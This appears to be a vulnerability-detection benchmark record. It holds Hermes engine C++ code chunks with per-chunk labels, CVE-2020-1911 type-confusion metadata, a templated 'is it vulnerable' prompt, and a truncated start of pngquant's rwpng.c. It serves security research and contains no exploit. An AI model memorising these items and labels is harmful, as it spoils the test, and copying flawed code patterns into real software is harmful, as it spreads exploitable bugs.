}", " if (updateStatus->first == PropertyUpdateStatus::done)\n return true;\n assert(\n updateStatus->first == PropertyUpdateStatus::needSet &&\n \"unexpected PropertyUpdateStatus\");", " if (dpFlags.setValue) {\n if (LLVM_LIKELY(!desc.flags.internalSetter))\n setNamedSlotValue(selfHandle.get(), runtime, desc, valueOrAccessor.get());\n else\n return internalSetter(\n selfHandle, runtime, name, desc, valueOrAccessor, opFlags);\n } else if (dpFlags.isAccessor()) {\n setNamedSlotValue(selfHandle.get(), runtime, desc, valueOrAccessor.get());\n } else {\n // If checkPropertyUpdate() returned needSet, but there is no value or\n // accessor, clear the value.\n setNamedSlotValue(\n selfHandle.get(), runtime, desc, HermesValue::encodeUndefinedValue());\n }", " return true;\n}", "CallResult<std::pair<JSObject::PropertyUpdateStatus, PropertyFlags>>\nJSObject::checkPropertyUpdate(\n Runtime *runtime,\n const PropertyFlags currentFlags,\n DefinePropertyFlags dpFlags,\n const HermesValue curValueOrAccessor,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n // 8.12.9 [5] Return true, if every field in Desc is absent.\n if (dpFlags.isEmpty())\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);", " assert(\n (!dpFlags.isAccessor() || (!dpFlags.setWritable && !dpFlags.writable)) &&\n \"can't set both accessor and writable\");\n assert(\n !dpFlags.enableInternalSetter &&\n \"cannot change the value of internalSetter\");", " // 8.12.9 [6] Return true, if every field in Desc also occurs in current and\n // the value of every field in Desc is the same value as the corresponding\n // field in current when compared using the SameValue algorithm (9.12).\n // TODO: this would probably be much more efficient with bitmasks.\n if ((!dpFlags.setEnumerable ||\n dpFlags.enumerable == currentFlags.enumerable) &&\n (!dpFlags.setConfigurable ||\n dpFlags.configurable == currentFlags.configurable)) {\n if (dpFlags.isAccessor()) {\n if (currentFlags.accessor) {\n auto *curAccessor = vmcast<PropertyAccessor>(curValueOrAccessor);\n auto *newAccessor = vmcast<PropertyAccessor>(valueOrAccessor.get());", " if ((!dpFlags.setGetter ||\n curAccessor->getter == newAccessor->getter) &&\n (!dpFlags.setSetter ||\n curAccessor->setter == newAccessor->setter)) {\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);\n }\n }\n } else {\n if (!currentFlags.accessor &&\n (!dpFlags.setValue ||\n isSameValue(curValueOrAccessor, valueOrAccessor.get())) &&\n (!dpFlags.setWritable || dpFlags.writable == currentFlags.writable)) {\n return std::make_pair(PropertyUpdateStatus::done, currentFlags);\n }\n }\n }", " // 8.12.9 [7]\n // If the property is not configurable, some aspects are not changeable.\n if (!currentFlags.configurable) {\n // Trying to change non-configurable to configurable?\n if (dpFlags.configurable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // Trying to change the enumerability of non-configurable property?\n if (dpFlags.setEnumerable &&\n dpFlags.enumerable != currentFlags.enumerable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }", " PropertyFlags newFlags = currentFlags;", " // 8.12.9 [8] If IsGenericDescriptor(Desc) is true, then no further validation\n // is required.\n if (!(dpFlags.setValue || dpFlags.setWritable || dpFlags.setGetter ||\n dpFlags.setSetter)) {\n // Do nothing\n }\n // 8.12.9 [9]\n // Changing between accessor and data descriptor?\n else if (currentFlags.accessor != dpFlags.isAccessor()) {\n if (!currentFlags.configurable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // If we change from accessor to data descriptor, Preserve the existing\n // values of the converted property’s [[Configurable]] and [[Enumerable]]\n // attributes and set the rest of the property’s attributes to their default\n // values.\n // If it's the other way around, since the accessor doesn't have the\n // [[Writable]] attribute, do nothing.\n newFlags.writable = 0;", " // If we are changing from accessor to non-accessor, we must set a new\n // value.\n if (!dpFlags.isAccessor())\n dpFlags.setValue = 1;\n }\n // 8.12.9 [10] if both are data descriptors.\n else if (!currentFlags.accessor) {\n if (!currentFlags.configurable) {\n if (!currentFlags.writable) {\n // If the current property is not writable, but the new one is.\n if (dpFlags.writable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }", " // If we are setting a different value.\n if (dpFlags.setValue &&\n !isSameValue(curValueOrAccessor, valueOrAccessor.get())) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not writable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }\n }\n }\n // 8.12.9 [11] Both are accessors.\n else {\n auto *curAccessor = vmcast<PropertyAccessor>(curValueOrAccessor);\n auto *newAccessor = vmcast<PropertyAccessor>(valueOrAccessor.get());", " // If not configurable, make sure that nothing is changing.\n if (!currentFlags.configurable) {\n if ((dpFlags.setGetter && newAccessor->getter != curAccessor->getter) ||\n (dpFlags.setSetter && newAccessor->setter != curAccessor->setter)) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"property is not configurable\"); // TODO: better message.\n }\n return std::make_pair(PropertyUpdateStatus::failed, PropertyFlags{});\n }\n }", " // If not setting the getter or the setter, re-use the current one.\n if (!dpFlags.setGetter)\n newAccessor->getter.set(\n runtime, curAccessor->getter, &runtime->getHeap());\n if (!dpFlags.setSetter)\n newAccessor->setter.set(\n runtime, curAccessor->setter, &runtime->getHeap());\n }", " // 8.12.9 [12] For each attribute field of Desc that is present, set the\n // correspondingly named attribute of the property named P of object O to the\n // value of the field.\n if (dpFlags.setEnumerable)\n newFlags.enumerable = dpFlags.enumerable;\n if (dpFlags.setWritable)\n newFlags.writable = dpFlags.writable;\n if (dpFlags.setConfigurable)\n newFlags.configurable = dpFlags.configurable;", " if (dpFlags.setValue)\n newFlags.accessor = false;\n else if (dpFlags.isAccessor())\n newFlags.accessor = true;\n else\n return std::make_pair(PropertyUpdateStatus::done, newFlags);", " return std::make_pair(PropertyUpdateStatus::needSet, newFlags);\n}", "CallResult<bool> JSObject::internalSetter(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n NamedPropertyDescriptor /*desc*/,\n Handle<> value,\n PropOpFlags opFlags) {\n if (vmisa<JSArray>(selfHandle.get())) {\n if (name == Predefined::getSymbolID(Predefined::length)) {\n return JSArray::setLength(\n Handle<JSArray>::vmcast(selfHandle), runtime, value, opFlags);\n }\n }", " llvm_unreachable(\"unhandled property in Object::internalSetter()\");\n}", "namespace {", "/// Helper function to add all the property names of an object to an\n/// array, starting at the given index. Only enumerable properties are\n/// incluced. Returns the index after the last property added, but...\nCallResult<uint32_t> appendAllPropertyNames(\n Handle<JSObject> obj,\n Runtime *runtime,\n MutableHandle<BigStorage> &arr,\n uint32_t beginIndex) {\n uint32_t size = beginIndex;\n // We know that duplicate property names can only exist between objects in\n // the prototype chain. Hence there should not be duplicated properties\n // before we start to look at any prototype.\n bool needDedup = false;\n MutableHandle<> prop(runtime);\n MutableHandle<JSObject> head(runtime, obj.get());\n MutableHandle<StringPrimitive> tmpVal{runtime};\n while (head.get()) {\n GCScope gcScope(runtime);", " // enumerableProps will contain all enumerable own properties from obj.\n // Impl note: this is the only place where getOwnPropertyKeys will be\n // called without IncludeNonEnumerable on a Proxy. Everywhere else,\n // trap ordering is specified but ES9 13.7.5.15 says \"The mechanics and\n // order of enumerating the properties is not specified\", which is\n // unusual.\n auto cr =\n JSObject::getOwnPropertyNames(head, runtime, true /* onlyEnumerable */);\n if (LLVM_UNLIKELY(cr == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto enumerableProps = *cr;\n auto marker = gcScope.createMarker();\n for (unsigned i = 0, e = enumerableProps->getEndIndex(); i < e; ++i) {\n gcScope.flushToMarker(marker);\n prop = enumerableProps->at(runtime, i);\n if (!needDedup) {\n // If no dedup is needed, add it directly.\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, prop) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n ++size;\n continue;\n }\n // Otherwise loop through all existing properties and check if we\n // have seen it before.\n bool dupFound = false;\n if (prop->isNumber()) {\n for (uint32_t j = beginIndex; j < size && !dupFound; ++j) {\n HermesValue val = arr->at(j);\n if (val.isNumber()) {\n dupFound = val.getNumber() == prop->getNumber();\n } else {\n // val is string, prop is number.\n tmpVal = val.getString();\n auto valNum = toArrayIndex(\n StringPrimitive::createStringView(runtime, tmpVal));\n dupFound = valNum && valNum.getValue() == prop->getNumber();\n }\n }\n } else {\n for (uint32_t j = beginIndex; j < size && !dupFound; ++j) {\n HermesValue val = arr->at(j);\n if (val.isNumber()) {\n // val is number, prop is string.\n auto propNum = toArrayIndex(StringPrimitive::createStringView(\n runtime, Handle<StringPrimitive>::vmcast(prop)));\n dupFound = propNum && (propNum.getValue() == val.getNumber());\n } else {\n dupFound = val.getString()->equals(prop->getString());\n }\n }\n }\n if (LLVM_LIKELY(!dupFound)) {\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, prop) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n ++size;\n }\n }\n // Continue to follow the prototype chain.\n CallResult<PseudoHandle<JSObject>> parentRes =\n JSObject::getPrototypeOf(head, runtime);\n if (LLVM_UNLIKELY(parentRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n head = parentRes->get();\n needDedup = true;\n }\n return size;\n}", "/// Adds the hidden classes of the prototype chain of obj to arr,\n/// starting with the prototype of obj at index 0, etc., and\n/// terminates with null.\n///\n/// \\param obj The object whose prototype chain should be output\n/// \\param[out] arr The array where the classes will be appended. This\n/// array is cleared if any object is unsuitable for caching.\nExecutionStatus setProtoClasses(\n Runtime *runtime,\n Handle<JSObject> obj,\n MutableHandle<BigStorage> &arr) {\n // Layout of a JSArray stored in the for-in cache:\n // [class(proto(obj)), class(proto(proto(obj))), ..., null, prop0, prop1, ...]", " if (!obj->shouldCacheForIn(runtime)) {\n arr->clear(runtime);\n return ExecutionStatus::RETURNED;\n }\n MutableHandle<JSObject> head(runtime, obj->getParent(runtime));\n MutableHandle<> clazz(runtime);\n GCScopeMarkerRAII marker{runtime};\n while (head.get()) {\n if (!head->shouldCacheForIn(runtime)) {\n arr->clear(runtime);\n return ExecutionStatus::RETURNED;\n }\n if (JSObject::Helper::flags(*head).lazyObject) {\n // Ensure all properties have been initialized before caching the hidden\n // class. Not doing this will result in changes to the hidden class\n // when getOwnPropertyKeys is called later.\n JSObject::initializeLazyObject(runtime, head);\n }\n clazz = HermesValue::encodeObjectValue(head->getClass(runtime));\n if (LLVM_UNLIKELY(\n BigStorage::push_back(arr, runtime, clazz) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n head = head->getParent(runtime);\n marker.flush();\n }\n clazz = HermesValue::encodeNullValue();\n return BigStorage::push_back(arr, runtime, clazz);\n}", "/// Verifies that the classes of obj's prototype chain still matches those\n/// previously prefixed to arr by setProtoClasses.\n///\n/// \\param obj The object whose prototype chain should be verified\n/// \\param arr Array previously populated by setProtoClasses\n/// \\return The index after the terminating null if everything matches,\n/// otherwise 0.\nuint32_t matchesProtoClasses(\n Runtime *runtime,\n Handle<JSObject> obj,\n Handle<BigStorage> arr) {\n MutableHandle<JSObject> head(runtime, obj->getParent(runtime));\n uint32_t i = 0;\n while (head.get()) {\n HermesValue protoCls = arr->at(i++);\n if (protoCls.isNull() || protoCls.getObject() != head->getClass(runtime) ||\n head->isProxyObject()) {\n return 0;\n }\n head = head->getParent(runtime);\n }\n // The chains must both end at the same point.\n if (head || !arr->at(i++).isNull()) {\n return 0;\n }\n assert(i > 0 && \"success should be positive\");\n return i;\n}", "} // namespace", "CallResult<Handle<BigStorage>> getForInPropertyNames(\n Runtime *runtime,\n Handle<JSObject> obj,\n uint32_t &beginIndex,\n uint32_t &endIndex) {\n Handle<HiddenClass> clazz(runtime, obj->getClass(runtime));", " // Fast case: Check the cache.\n MutableHandle<BigStorage> arr(runtime, clazz->getForInCache(runtime));\n if (arr) {\n beginIndex = matchesProtoClasses(runtime, obj, arr);\n if (beginIndex) {\n // Cache is valid for this object, so use it.\n endIndex = arr->size();\n return arr;\n }\n // Invalid for this object. We choose to clear the cache since the\n // changes to the prototype chain probably affect other objects too.\n clazz->clearForInCache(runtime);\n // Clear arr to slightly reduce risk of OOM from allocation below.\n arr = nullptr;\n }", " // Slow case: Build the array of properties.\n auto ownPropEstimate = clazz->getNumProperties();\n auto arrRes = obj->shouldCacheForIn(runtime)\n ? BigStorage::createLongLived(runtime, ownPropEstimate)\n : BigStorage::create(runtime, ownPropEstimate);\n if (LLVM_UNLIKELY(arrRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n arr = std::move(*arrRes);\n if (setProtoClasses(runtime, obj, arr) == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n beginIndex = arr->size();\n // If obj or any of its prototypes are unsuitable for caching, then\n // beginIndex is 0 and we return an array with only the property names.\n bool canCache = beginIndex;\n auto end = appendAllPropertyNames(obj, runtime, arr, beginIndex);\n if (end == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n endIndex = *end;\n // Avoid degenerate memory explosion: if > 75% of the array is properties\n // or classes from prototypes, then don't cache it.\n const bool tooMuchProto = *end / 4 > ownPropEstimate;\n if (canCache && !tooMuchProto) {\n assert(beginIndex > 0 && \"cached array must start with proto classes\");\n#ifdef HERMES_SLOW_DEBUG\n assert(beginIndex == matchesProtoClasses(runtime, obj, arr) && \"matches\");\n#endif\n clazz->setForInCache(*arr, runtime);\n }\n return arr;\n}", "//===----------------------------------------------------------------------===//\n// class PropertyAccessor", "VTable PropertyAccessor::vt{CellKind::PropertyAccessorKind,\n cellSize<PropertyAccessor>()};", "void PropertyAccessorBuildMeta(const GCCell *cell, Metadata::Builder &mb) {\n const auto *self = static_cast<const PropertyAccessor *>(cell);\n mb.addField(\"getter\", &self->getter);\n mb.addField(\"setter\", &self->setter);\n}", "#ifdef HERMESVM_SERIALIZE\nPropertyAccessor::PropertyAccessor(Deserializer &d)\n : GCCell(&d.getRuntime()->getHeap(), &vt) {\n d.readRelocation(&getter, RelocationKind::GCPointer);\n d.readRelocation(&setter, RelocationKind::GCPointer);\n}", "void PropertyAccessorSerialize(Serializer &s, const GCCell *cell) {\n auto *self = vmcast<const PropertyAccessor>(cell);\n s.writeRelocation(self->getter.get(s.getRuntime()));\n s.writeRelocation(self->setter.get(s.getRuntime()));\n s.endObject(cell);\n}", "void PropertyAccessorDeserialize(Deserializer &d, CellKind kind) {\n assert(kind == CellKind::PropertyAccessorKind && \"Expected PropertyAccessor\");\n void *mem = d.getRuntime()->alloc(cellSize<PropertyAccessor>());\n auto *cell = new (mem) PropertyAccessor(d);\n d.endObject(cell);\n}\n#endif", "CallResult<HermesValue> PropertyAccessor::create(\n Runtime *runtime,\n Handle<Callable> getter,\n Handle<Callable> setter) {\n void *mem = runtime->alloc(cellSize<PropertyAccessor>());\n return HermesValue::encodeObjectValue(\n new (mem) PropertyAccessor(runtime, *getter, *setter));\n}", "} // namespace vm\n} // namespace hermes" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [394, 1177], "buggy_code_start_loc": [394, 1176], "filenames": ["API/jsi/jsi/test/testlib.cpp", "lib/VM/JSObject.cpp"], "fixing_code_end_loc": [412, 1177], "fixing_code_start_loc": [395, 1176], "message": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:facebook:hermes:*:*:*:*:*:*:*:*", "matchCriteriaId": "A050D3EF-B82D-4B22-8504-42B384E738B9", "versionEndExcluding": "0.4.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected."}, {"lang": "es", "value": "Una vulnerabilidad de confusi\u00f3n de tipos al resolver propiedades de objetos JavaScript con cadenas de prototipos especialmente dise\u00f1adas en Facebook Hermes versiones anteriores al commit fe52854cdf6725c2eaa9e125995da76e6ceb27da, permite a atacantes ejecutar potencialmente c\u00f3digo arbitrario por medio de un JavaScript dise\u00f1ado. Tome en cuenta que esto solo se puede explotar si la aplicaci\u00f3n que usa Hermes permite una evaluaci\u00f3n de JavaScript que no es confiable. Por lo tanto, la mayor\u00eda de las aplicaciones React Native no est\u00e1n afectadas"}], "evaluatorComment": null, "id": "CVE-2020-1911", "lastModified": "2020-09-11T17:02:45.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-09-04T03:15:09.700", "references": [{"source": "cve-assign@fb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, {"source": "cve-assign@fb.com", "tags": ["Third Party Advisory"], "url": "https://www.facebook.com/security/advisories/cve-2020-1911"}], "sourceIdentifier": "cve-assign@fb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-843"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-843"}], "source": "cve-assign@fb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, "type": "CWE-843"}
138
Determine whether the {function_name} code is vulnerable or not.
[ "/*---------------------------------------------------------------------------", " pngquant: RGBA -> RGBA-palette quantization program rwpng.c", " ---------------------------------------------------------------------------", " © 1998-2000 by Greg Roelofs.\n © 2009-2015 by Kornel Lesiński.", " All rights reserved.", " Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:", " 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.", " 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.", " THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", " ---------------------------------------------------------------------------*/", "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <limits.h>", "#include \"png.h\" /* if this include fails, you need to install libpng (e.g. libpng-devel package) and run ./configure */\n#include \"rwpng.h\"\n#if USE_LCMS\n#include \"lcms2.h\"\n#endif", "#ifndef Z_BEST_COMPRESSION\n#define Z_BEST_COMPRESSION 9\n#endif\n#ifndef Z_BEST_SPEED\n#define Z_BEST_SPEED 1\n#endif", "#ifdef _OPENMP\n#include <omp.h>\n#else\n#define omp_get_max_threads() 1\n#endif", "#if PNG_LIBPNG_VER < 10500\ntypedef png_const_charp png_const_bytep;\n#endif", "static void rwpng_error_handler(png_structp png_ptr, png_const_charp msg);\nint rwpng_read_image24_cocoa(FILE *infile, png24_image *mainprog_ptr);", "\nvoid rwpng_version_info(FILE *fp)\n{\n const char *pngver = png_get_header_ver(NULL);", "#if USE_COCOA\n fprintf(fp, \" Color profiles are supported via Cocoa. Using libpng %s.\\n\", pngver);\n#elif USE_LCMS\n fprintf(fp, \" Color profiles are supported via Little CMS. Using libpng %s.\\n\", pngver);\n#else\n fprintf(fp, \" Compiled with no support for color profiles. Using libpng %s.\\n\", pngver);\n#endif", "#if PNG_LIBPNG_VER < 10600\n if (strcmp(pngver, \"1.3.\") < 0) {\n fputs(\"\\nWARNING: Your version of libpng is outdated and may produce corrupted files.\\n\"\n \"Please recompile pngquant with the current version of libpng (1.6 or later).\\n\", fp);\n } else if (strcmp(pngver, \"1.6.\") < 0) {\n #if defined(PNG_UNKNOWN_CHUNKS_SUPPORTED)\n fputs(\"\\nWARNING: Your version of libpng is old and has buggy support for custom chunks.\\n\"\n \"Please recompile pngquant with the current version of libpng (1.6 or later).\\n\", fp);\n #endif\n }\n#endif\n}", "\nstruct rwpng_read_data {\n FILE *const fp;\n png_size_t bytes_read;\n};", "#if !USE_COCOA\nstatic void user_read_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n struct rwpng_read_data *read_data = (struct rwpng_read_data *)png_get_io_ptr(png_ptr);", " png_size_t read = fread(data, 1, length, read_data->fp);\n if (!read) {\n png_error(png_ptr, \"Read error\");\n }\n read_data->bytes_read += read;\n}\n#endif", "struct rwpng_write_state {\n FILE *outfile;\n png_size_t maximum_file_size;\n png_size_t bytes_written;\n pngquant_error retval;\n};", "static void user_write_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n struct rwpng_write_state *write_state = (struct rwpng_write_state *)png_get_io_ptr(png_ptr);", " if (SUCCESS != write_state->retval) {\n return;\n }", " if (!fwrite(data, length, 1, write_state->outfile)) {\n write_state->retval = CANT_WRITE_ERROR;\n }", " write_state->bytes_written += length;\n}", "static void user_flush_data(png_structp png_ptr)\n{\n // libpng never calls this :(\n}", "\nstatic png_bytepp rwpng_create_row_pointers(png_infop info_ptr, png_structp png_ptr, unsigned char *base, unsigned int height, png_size_t rowbytes)\n{\n if (!rowbytes) {\n rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n }", " png_bytepp row_pointers = malloc(height * sizeof(row_pointers[0]));\n if (!row_pointers) return NULL;\n for(size_t row = 0; row < height; row++) {\n row_pointers[row] = base + row * rowbytes;\n }\n return row_pointers;\n}", "#if !USE_COCOA\nstatic int read_chunk_callback(png_structp png_ptr, png_unknown_chunkp in_chunk)\n{\n if (0 == memcmp(\"iCCP\", in_chunk->name, 5) ||\n 0 == memcmp(\"cHRM\", in_chunk->name, 5) ||\n 0 == memcmp(\"gAMA\", in_chunk->name, 5)) {\n return 0; // not handled\n }", " struct rwpng_chunk **head = (struct rwpng_chunk **)png_get_user_chunk_ptr(png_ptr);", " struct rwpng_chunk *chunk = malloc(sizeof(struct rwpng_chunk));\n memcpy(chunk->name, in_chunk->name, 5);\n chunk->size = in_chunk->size;\n chunk->location = in_chunk->location;\n chunk->data = in_chunk->size ? malloc(in_chunk->size) : NULL;\n if (in_chunk->size) {\n memcpy(chunk->data, in_chunk->data, in_chunk->size);\n }", " chunk->next = *head;\n *head = chunk;", " return 1; // marks as \"handled\", libpng won't store it\n}\n#endif", "/*\n retval:\n 0 = success\n 21 = bad sig\n 22 = bad IHDR\n 24 = insufficient memory\n 25 = libpng error (via longjmp())\n 26 = wrong PNG color type (no alpha channel)\n */", "#if !USE_COCOA\nstatic void rwpng_warning_stderr_handler(png_structp png_ptr, png_const_charp msg) {\n fprintf(stderr, \" libpng warning: %s\\n\", msg);\n}", "static void rwpng_warning_silent_handler(png_structp png_ptr, png_const_charp msg) {\n}", "static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainprog_ptr, int verbose)\n{\n png_structp png_ptr = NULL;\n png_infop info_ptr = NULL;\n png_size_t rowbytes;\n int color_type, bit_depth;", " png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, mainprog_ptr,\n rwpng_error_handler, verbose ? rwpng_warning_stderr_handler : rwpng_warning_silent_handler);\n if (!png_ptr) {\n return PNG_OUT_OF_MEMORY_ERROR; /* out of memory */\n }", " info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr) {\n png_destroy_read_struct(&png_ptr, NULL, NULL);\n return PNG_OUT_OF_MEMORY_ERROR; /* out of memory */\n }", " /* setjmp() must be called in every function that calls a non-trivial\n * libpng function */", " if (setjmp(mainprog_ptr->jmpbuf)) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return LIBPNG_FATAL_ERROR; /* fatal libpng error (via longjmp()) */\n }", "#if defined(PNG_SKIP_sRGB_CHECK_PROFILE) && defined(PNG_SET_OPTION_SUPPORTED)\n png_set_option(png_ptr, PNG_SKIP_sRGB_CHECK_PROFILE, PNG_OPTION_ON);\n#endif", "#if PNG_LIBPNG_VER >= 10500 && defined(PNG_UNKNOWN_CHUNKS_SUPPORTED)\n /* copy standard chunks too */\n png_set_keep_unknown_chunks(png_ptr, PNG_HANDLE_CHUNK_IF_SAFE, (png_const_bytep)\"pHYs\\0iTXt\\0tEXt\\0zTXt\", 4);\n#endif\n png_set_read_user_chunk_fn(png_ptr, &mainprog_ptr->chunks, read_chunk_callback);", " struct rwpng_read_data read_data = {infile, 0};\n png_set_read_fn(png_ptr, &read_data, user_read_data);", " png_read_info(png_ptr, info_ptr); /* read all PNG info up to image data */", " /* alternatively, could make separate calls to png_get_image_width(),\n * etc., but want bit_depth and color_type for later [don't care about\n * compression_type and filter_type => NULLs] */", " png_get_IHDR(png_ptr, info_ptr, &mainprog_ptr->width, 